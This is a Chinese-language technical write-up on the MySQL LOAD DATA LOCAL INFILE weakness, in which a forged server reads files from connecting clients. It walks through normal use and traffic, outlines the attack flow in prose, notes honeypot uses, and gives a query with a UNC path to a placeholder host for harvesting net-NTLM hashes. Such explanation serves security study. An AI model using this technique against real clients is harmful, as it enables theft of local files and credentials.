为了方便某些场景的使用,MySQL提供了LOAD DATA LOCAL INFILE语句,允许从客户端导入文件数据到服务器中。然而,由于此功能的实现逻辑存在一定缺陷,可能会造成服务端能在未经客户端允许的情况下读取客户端的文件内容。首先,我们来分析一下正常使用此功能时,客户端与服务端的流量交互过程。这里笔者采用的PHPStudy搭建的MySQL环境。首先,开启正常的MySQL服务。
在“F:\test”新建一个pi.txt文件,内容如下。
打开命令行,用MySQL monitor客户端(即MySQL.exe)连接上测试数据库,直接执行如下语句,将上述文件的内容记录到预先建立的mysql_test表内,注意在windows下路径中的反斜杠需要转义或改用斜杠:LOAD DATA LOCAL INFILE 'F:\\test\\pi.txt' INTOTABLE mysql_test FIELDS TERMINATED BY '\n';此时,指定的文件内容已经被记录到了表内,可以再执行select * from mysql_test;进行确认。
观察流量,可以看到此客户端在尝试连接MySQL服务端,发送登录请求时,默认将“Can Use LOAD DATA LOCAL”置为了1,相当于告诉了服务端,我(客户端)这里支持LOAD DATA LOCAL语句,可以读取客户端本地的文件内容,加载到服务端。
上面已经提到,第三步完全仅由第二步服务端发送过来的命令进行控制,所以,可以预见地,客户端会乖乖向伪造服务端返回相应文件的内容。伪造的服务端接收到之后,就可以写入到文件记录。至此,整个攻击流程结束。分析这个“漏洞”的应用场景,容易看出,这种技术除了用作攻击之外,还可应用于蜜罐中,达到反制攻击者的效果。值得一提的是,LOAD DATA INFILE语句支持UNC路径,如果我们的恶意MySQL服务器运行在Windows系统上,我们还有可能使用如下查询语句获取内网用户的net-NTLM Hash:LOAD DATA LOCAL INFILE "\\HOSTNAME_OR_IP\test\pi.txt"INTO TABLE mysql_test FIELDS TERMINATED BY '\n';不过,需要对伪造的服务端进行另外的改动,暂不在本次讨论范围内。